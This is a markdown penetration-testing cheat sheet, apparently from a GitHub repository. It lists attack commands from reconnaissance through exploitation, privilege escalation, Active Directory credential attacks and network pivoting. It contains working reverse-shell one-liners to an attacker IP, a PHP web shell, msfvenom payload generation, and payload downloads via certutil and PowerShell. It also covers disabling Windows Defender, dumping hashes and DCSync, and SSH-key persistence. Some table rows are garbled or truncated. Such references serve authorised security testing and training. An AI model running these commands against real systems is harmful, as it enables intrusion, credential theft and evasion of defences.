Skip to content

penetration-testing-cheatsheet.md

Latest commit

 

History

History
423 lines (307 loc) · 33.9 KB

penetration-testing-cheatsheet.md

File metadata and controls

423 lines (307 loc) · 33.9 KB
Raw

Page 1

Phase 1: Information Gathering & Enumeration

Gathering information and mapping the target environment, from external infrastructure to specific running services.

Infrastructure-based Enumeration

Command Description
curl -s https://crt.sh/\?q\=<domain>\&output\=json | jq . Use Certificate Transparency logs to find subdomains.
subfinder -d <domain.tld> -v Discover subdomains using passive sources.
ffuf -w subdomains.txt:FUZZ -u https://FUZZ.<domain> Brute-force subdomains using a wordlist.
gobuster dns -d <domain> -w <wordlist> Brute-force subdomains using Gobuster.
for i in $(cat ips.txt); do shodan host $i; done Scan a list of IP addresses using the Shodan CLI.

Host Scanning & Service Discovery

Command Description
nmap -sV -sC -oA nmap/initial <TARGET_IP> Standard Scan: Runs default scripts (-sC), probes for versions (-sV), and saves output.
nmap -p- --min-rate=1000 -oA nmap/all_ports <TARGET_IP> All TCP Ports Scan: Scans all 65,535 TCP ports quickly.
nmap --script <script-name> -p <port> <TARGET_IP> Run a specific Nmap script (e.g., smb-os-discovery.nse).
locate scripts/ Find available Nmap scripts on your system.
netcat -nv -w 1 -z <TARGET_IP> 22 Grab the banner of an open port using Netcat.

Web Enumeration

Command Description
ffuf -w <wordlist>:FUZZ -u http://<TARGET>/FUZZ Directory/File Fuzzing: The modern standard for finding web content.
gobuster dir -u http://<TARGET>/ -w <wordlist> An alternative for directory and file brute-forcing.
whatweb <TARGET_IP> Identify technologies, CMS, frameworks, and server software.
curl -IL <URL> Grab website headers to identify server and framework versions.
curl http://<TARGET>/robots.txt Check robots.txt for disallowed paths that may be interesting.
View Page Source Ctrl+U in Firefox/Chrome

Service-Specific Enumeration

FTP (Port 21)

Command Description
ftp <TARGET_IP> Connect and interact with the FTP service.
nc -nv <TARGET_IP> 21 Connect with Netcat to manually issue FTP commands.
wget -m --no-passive ftp://anonymous:anonymous@<TARGET_IP> Mirror (download) all files from an anonymous FTP server.
openssl s_client -connect <TARGET_IP>:21 -starttls ftp Connect to FTP over an encrypted TLS channel (FTPS).

SMB (Ports 139, 445)

Command Description
smbclient -N -L \\\\<TARGET_IP>\\ List SMB shares using a null session (no credentials).
smbclient \\\\<TARGET_IP>\\<share_name> Connect to a specific SMB share.
smbmap -H <TARGET_IP> Enumerate SMB shares and permissions.
crackmapexec smb <TARGET_IP> --shares -u '' -p '' Use CrackMapExec to enumerate shares via a null session.
enum4linux-ng.py <TARGET_IP> -A Comprehensive SMB enumeration (users, shares, policies, etc.).
rpcclient -U "" <TARGET_IP> Interact with the target via RPC (e.g., for user enumeration).
samrdump.py <TARGET_IP> Attempt to dump user information via SAMR.

NFS (Port 2049)

Command Description
showmount -e <TARGET_IP> Show available/mountable NFS shares from the target.
mount -t nfs <TARGET_IP>:/<share> /mnt/nfs -o nolock Mount the remote NFS share to a local directory.
umount /mnt/nfs Unmount the NFS share.

DNS (Port 53)

Command Description
dig any <domain> @<nameserver> Request ANY record type from a specific nameserver.
dig axfr <domain> @<nameserver> Attempt a Zone Transfer: Can dump all DNS records for the domain.
dnsenum --dnsserver <ns> -f <wordlist> <domain> Perform brute-forcing and other enumeration checks.

SMTP (Port 25)

Command Description
telnet <TARGET_IP> 25 Manually connect to the SMTP server to issue commands.
nmap <TARGET_IP> -p25 -sV --script smtp* Run all Nmap SMTP scripts against the target.
for u in $(cat u.txt); do echo VRFY $u | nc -nvw 1 <IP> 25; done Enumerate valid users by piping a list to the VRFY command.

IMAP (143, 993) & POP3 (110, 995)

Command Description
openssl s_client -connect <TARGET_IP>:imaps Connect to the secure IMAPS service.
openssl s_client -connect <TARGET_IP>:pop3s Connect to the secure POP3S service.
curl -v -k 'imaps://<URL>' --user <user>:<pass> Log in to IMAPS service using cURL to test credentials.
  • Common IMAP Commands (after connecting): a LOGIN user pass, a LIST "" *, a SELECT INBOX, a FETCH <ID> all, a LOGOUT
  • Common POP3 Commands (after connecting): USER user, PASS pass, STAT, LIST, RETR <id>, QUIT

SNMP (Port 161)

Command Description
snmpwalk -v2c -c <community> <TARGET_IP> Query all OIDs (Object Identifiers) using a known community string.
onesixtyone -c community-strings.txt <TARGET_IP> Brute-force SNMP community strings from a dictionary file.

SQL Databases (MySQL 3306, MSSQL 1433, Oracle 1521)

Command Description
nmap -p3306 -sV --script mysql* <TARGET_IP> Enumerate MySQL with Nmap scripts.
mysql -u <user> -p<pass> -h <TARGET_IP> Connect to a MySQL server.
nmap -p1433 -sV --script ms-sql* <TARGET_IP> Enumerate MSSQL with Nmap scripts.
mssqlclient.py <user>@<TARGET_IP> -windows-auth Connect to MSSQL using Windows Authentication with Impacket.
python3 ./odat.py all -s <TARGET_IP> Perform a full enumeration scan on an Oracle Database.
sqlplus <user>/<pass>@<TARGET_IP>/<db> Connect to an Oracle database.
  • Common SQL Commands: SHOW DATABASES;, USE <database>;, SHOW TABLES;, SELECT * FROM <table>;
  • MSSQL xp_cmdshell: EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; xp_cmdshell 'whoami';

Remote Management

Service Command Description
SSH ssh-audit.py <TARGET_IP> Audit SSH server configuration for security issues.
ssh <user>@<TARGET_IP> -i private.key Log in to SSH using a private key.
RDP nmap -p3389 -sV --script rdp-* <TARGET_IP> Enumerate RDP with Nmap scripts.
xfreerdp /u:<user> /p:<pass> /v:<TARGET_IP> Connect to an RDP server from Linux.
WinRM evil-winrm -i <TARGET_IP> -u <user> -p <password> Connect to a target with a full-featured PowerShell session.
WMI wmiexec.py <user>:"<pass>"@<TARGET_IP> "whoami" Execute commands over WMI using Impacket.

Export to Sheets

Phase 2: Gaining Access (Exploitation)

Leveraging vulnerabilities to gain an initial foothold.

Exploit Research & Execution

Command Description
searchsploit <service> <version> Search the local Exploit-DB database for public exploits.
msfconsole Start the Metasploit Framework.
search <exploit_name> Search for exploits within Metasploit.
use <exploit_module_path> Load a specific Metasploit module.
show options Show the required options for the loaded module.
set RHOSTS <TARGET_IP> Set the remote host (target) IP address.
check Test if the target is likely vulnerable without exploiting.
exploit / run Execute the exploit against the target.

Listeners & Shells

Setting up a Listener

Command Description
nc -lvnp <PORT> Start a Netcat listener to catch a reverse shell.
rlwrap nc -lvnp <PORT> Use rlwrap for a better shell with history and arrow-key support.

Reverse Shell Payloads

Type Command (Execute on Target)
Bash bash -c 'bash -i >& /dev/tcp/<YOUR_IP>/<PORT> 0>&1'
Netcat `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f
PowerShell powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('<YOUR_IP>',<PORT>);..." (shortened for brevity)
Python python -c 'import pty; pty.spawn("/bin/bash")'
PHP Web Shell echo "<?php system(\$_GET['cmd']);?>" > /var/www/html/shell.php

Connecting to Shells

Command Description
nc <TARGET_IP> <PORT> Connect to a bind shell listening on the target.
curl http://<TARGET>/shell.php?cmd=id Execute a command using an uploaded web shell.

MSFvenom Payload Generation

Platform Command
Linux msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell.elf
Windows msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell.exe
Web (PHP) msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
Web (WAR) msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war

Phase 3: Post-Exploitation & Privilege Escalation

Actions taken after gaining initial access to escalate privileges and gather more information.

Shell Stabilisation & TTY Upgrade

Step Command Description
1. Spawn TTY python3 -c 'import pty; pty.spawn("/bin/bash")' Use Python to get a better shell. script /dev/null -c bash is an alternative.
2. Background Ctrl+Z Background the current shell session.
3. Set Term stty raw -echo; fg On your attacker machine, set terminal to raw mode, then foreground the shell. Hit enter.
4. Set Vars export TERM=xterm-256color; export SHELL=bash In the target shell, set environment variables for a full-featured terminal.

File Transfers

Method Attacker Command Target Command
HTTP Server python3 -m http.server 80 wget http://<ATTACKER_IP>/file or curl -o file http://<ATTACKER_IP>/file
SCP scp local_file user@<TARGET_IP>:/tmp scp user@<ATTACKER_IP>:/path/file /tmp
PowerShell (Serve file via HTTP) Invoke-WebRequest http://<IP>/file.exe -OutFile C:\Temp\file.exe
Certutil (Serve file via HTTP) certutil.exe -urlcache -split -f http://<IP>/file.exe C:\Temp\file.exe
Base64 base64 shell.sh -w 0 (Copy paste) `echo <base64_string>

Linux Privilege Escalation

Command Description
sudo -l Crucial: Check what commands you can run as root or other users without a password.
find / -type f -perm -04000 -ls 2>/dev/null Find SUID binaries. Check GTFOBins for exploitation methods.
./linpeas.sh / ./lse.sh Run automated enumeration scripts to find privesc vectors.
sudo su - Switch to root user if (ALL : ALL) ALL is present in sudo -l.
ssh-keygen -f key Create an SSH key pair.
echo "<public_key>" >> /root/.ssh/authorized_keys Add your public key to root's authorized keys if you have write access.
ssh root@<TARGET_IP> -i key SSH in as root using your generated private key.

Windows Privilege Escalation & Post-Exploitation

Command Description
whoami /priv Check for enabled privileges, especially SeImpersonatePrivilege.
systeminfo Check OS version and hotfixes for missing patches (kernel exploits).
accesschk.exe -uwcqv "Authenticated Users" * Use Sysinternals tools to find weak folder/file permissions.
Get-MpComputerStatus Check the status of Windows Defender.
Set-MpPreference -DisableRealtimeMonitoring $true (Requires admin) Disable Windows Defender real-time monitoring.

Metasploit Meterpreter

Command Description
sysinfo Show system information.
getsystem Attempt various techniques to escalate to SYSTEM privileges.
ps List running processes.
migrate <PID> Migrate into a more stable process (e.g., explorer.exe).
hashdump Dump password hashes from the SAM database.
upload <local_path> <remote_path> Upload a file to the target.
download <remote_path> <local_path> Download a file from the target.
shell Drop into a standard system command shell.
sessions -l List active sessions.
sessions -i <ID> Interact with a specific session.

Phase 4: Active Directory Attacks

Techniques specific to Windows Domain environments.

Initial AD Enumeration

Command Description
responder -I <interface> -A Passively listen for NetBIOS-NS/LLMNR requests to capture hashes.
./kerbrute_linux_amd64 userenum -d <DOMAIN> --dc <DC_IP> <userlist> Enumerate valid usernames via Kerberos pre-authentication.
crackmapexec smb <DC_IP> --pass-pol Enumerate the domain password policy.
ldapsearch -h <DC_IP> -x -b "DC=<domain>,DC=<local>" Perform an anonymous LDAP query to enumerate domain objects.
bloodhound-python -u <user> -p <pass> -d <domain> -ns <DC_IP> -c all Run the BloodHound collector to map the domain.

Credential Attacks & Lateral Movement

Attack Command
Password Spraying crackmapexec smb <DC_IP> -u <userlist> -p '<password>'
Kerberoasting GetUserSPNs.py <DOMAIN>/<USER> -request -outputfile hashes.txt
AS-REP Roasting GetNPUsers.py <DOMAIN>/ -usersfile <userlist> -format hashcat -no-pass
Pass-The-Hash impacket-psexec -hashes :<ntlm_hash> <user>@<TARGET_IP>
DCSync secretsdump.py -just-dc-user <user_to_dump> <DOMAIN>/<USER>:<PASS>@<DC_IP>
PrintNightmare python3 CVE-2021-1675.py <domain>/<user>:<pass>@<TARGET> '\\<ATTACKER_IP>\share\payload.dll'
PetitPotam + ADCS ntlmrelayx.py -t http://<CA_SERVER>/certsrv/certfnsh.asp --adcs --template DomainController

Pivoting, Tunnelling & Port Forwarding

1. Internal Reconnaissance & Situational Awareness

Before pivoting, understand the network from the perspective of the compromised host.

Network Configuration & Routing

Command Description
ifconfig / ip addr (Linux) Display all current network interface configurations.
ipconfig /all (Windows) Display all system network configurations, including DNS and DHCP servers.
netstat -r / route -n (Linux/Windows) Display the local IP routing table to identify known networks and gateways.

Internal Host Discovery (Ping Sweeps)

System Command Description
Linux (Bash) `for i in {1..254}; do (ping -c 1 172.16.5.$i grep "bytes from" &) ;done`
Windows (CMD) `for /L %i in (1,1,254) do @ping -n 1 -w 100 172.16.5.%i find "Reply"`
PowerShell `1..254 % {"172.16.5.$$($$): $$(Test−Connection−count1−comp172.16.5.$$($) -quiet)"}`
Metasploit run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23 Use a Metasploit post-exploitation module to discover live hosts on internal subnets.

2. Port Forwarding & Tunnelling Techniques

Create pathways from your attacker machine into the target's internal network.

SSH Tunnelling (The Classic Method)

Requires an SSH server running on the pivot host.

Type Command Syntax & Example Description
Local Port Forwarding ssh -L <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> <user>@<PIVOT_IP> <br> ssh -L 3306:172.16.5.20:3306 user@<PIVOT_IP> Forwards a port from your local machine through the pivot to a target machine. Useful for accessing a single service (e.g., a database on port 3306).
Remote Port Forwarding ssh -R <REMOTE_PORT>:<TARGET_IP>:<TARGET_PORT> <user>@<PIVOT_IP> <br> ssh -R 8080:127.0.0.1:80 user@<PIVOT_IP> Forwards a port from the pivot host back to your attacker machine. Useful for catching reverse shells from hosts that can only reach the pivot.
Dynamic Port Forwarding (SOCKS Proxy) ssh -D <LOCAL_PORT> <user>@<PIVOT_IP> <br> ssh -D 9050 user@<PIVOT_IP> Creates a versatile SOCKS proxy on your local machine that tunnels traffic through the pivot. This is the foundation for using tools like ProxyChains.

Metasploit Port Forwarding & Routing

Used when you have a Meterpreter session on the pivot host.

Command Description
use post/multi/manage/autoroute Sets up routing rules within Metasploit to route traffic for internal subnets through the active Meterpreter session.
portfwd add -l <local_port> -p <target_port> -r <target_ip> (Local Forward) Forwards a local port on your attacker machine to a target in the internal network.
portfwd add -R -l <pivot_port> -p <attacker_port> -L <attacker_ip> (Remote Forward) Forwards a port on the pivot host back to a listener on your attacker machine.
help portfwd Displays all options for the portfwd command within Meterpreter.

Windows Native Port Forwarding

Command Description
netsh interface portproxy add v4tov4 listenport=<p_port> connectaddress=<t_ip> connectport=<t_port> Creates a persistent TCP port proxy on a Windows pivot host.
netsh interface portproxy show v4tov4 Displays the current port proxy configuration.

3. Proxying Traffic Through Tunnels

Once a SOCKS proxy is established, use these tools to route your other applications through it.

ProxyChains-NG (Linux)

Command Description
tail -4 /etc/proxychains4.conf Check the configuration file to ensure your proxy is listed (e.g., socks5 127.0.0.1 9050).
proxychains nmap -v -Pn -sT 172.16.5.19 Run an Nmap TCP scan through the proxy. -Pn is crucial as ICMP (ping) usually fails over proxies.
proxychains msfconsole Start Metasploit with all its network traffic routed through the proxy.
proxychains xfreerdp /v:<TARGET_IP> /u:<user> /p:<pass> Connect to an internal Windows host via RDP through the proxy.

Plink (Windows)

Command Description
plink.exe -D <LOCAL_PORT> <user>@<PIVOT_IP> (From Windows) Uses PuTTY's plink.exe to create an SSH-based SOCKS proxy, similar to ssh -D.

4. Advanced Tunnelling Tools

Versatile tools for creating robust tunnels and network relays.

Tool Role Command Description
Chisel Server ./chisel server -v -p 1234 --socks5 A fast TCP/UDP tunnel over HTTP. Start the server on your attacker machine.
Client ./chisel client -v <ATTACKER_IP>:1234 socks Run the client on the pivot host to connect back and establish the SOCKS proxy.
sshuttle Client sshuttle -r <user>@<PIVOT_IP> <INTERNAL_SUBNET> <br> sshuttle -r user@pivot 172.16.5.0/24 -v "The poor man's VPN." Forwards all traffic for a specified subnet through an SSH session, without requiring admin rights on the pivot.
socat Relay socat TCP4-LISTEN:<l_port>,fork TCP4:<t_ip>:<t_port> A powerful network relay. This example listens on a port and forwards all traffic to a target.
rpivot Server python2.7 server.py --proxy-port 9050 --server-port 9999 A reverse SOCKS proxy. The server runs on the attacker machine.
Client python2.7 client.py --server-ip <ATTACKER_IP> --server-port 9999 The client runs on the pivot and connects out, creating a proxy for the attacker.

5. Covert Tunnelling (Firewall Evasion)

Use these when standard TCP/UDP traffic is blocked.

Tool Protocol Role Command
dnscat2 DNS Server sudo ruby dnscat2.rb --dns "host=<ATTACKER_IP>,domain=<domain.tld>"
Client Start-Dnscat2 -DNSserver <ATTACKER_IP> -Domain <domain.tld> -Exec cmd
ptunnel-ng ICMP Server sudo ./ptunnel-ng -r<PIVOT_IP> -R<PORT>
Client sudo ./ptunnel-ng -p<PIVOT_IP> -l<LOCAL_PORT> -r<PIVOT_IP> -R<REMOTE_PORT>

6. Pivoting Workflow & Supporting Commands

Essential commands for transferring payloads and managing connections during a pivoting engagement.

Task Command Description
Verify Tunnel netstat -antp | grep <PORT> On your attacker machine, verify that your local port forward or SOCKS proxy is listening.
Scan via Tunnel nmap -v -sV -p1234 localhost Scan the local port you forwarded to enumerate the service on the internal target.
Payload Gen msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<PIVOT_IP> ... When generating a payload for a host inside the network, LHOST must be an IP the target can reach (often the pivot's IP).
File Transfer scp payload.exe user@<PIVOT_IP>:~ Use scp to transfer tools and payloads to the pivot machine.
python3 -m http.server 8123 Start a quick web server on the pivot machine to serve payloads to other internal hosts.
Invoke-WebRequest -Uri "http://<PIVOT_IP>:8123/p.exe" -OutFile "p.exe" Use PowerShell on an internal Windows host to download a payload from the pivot.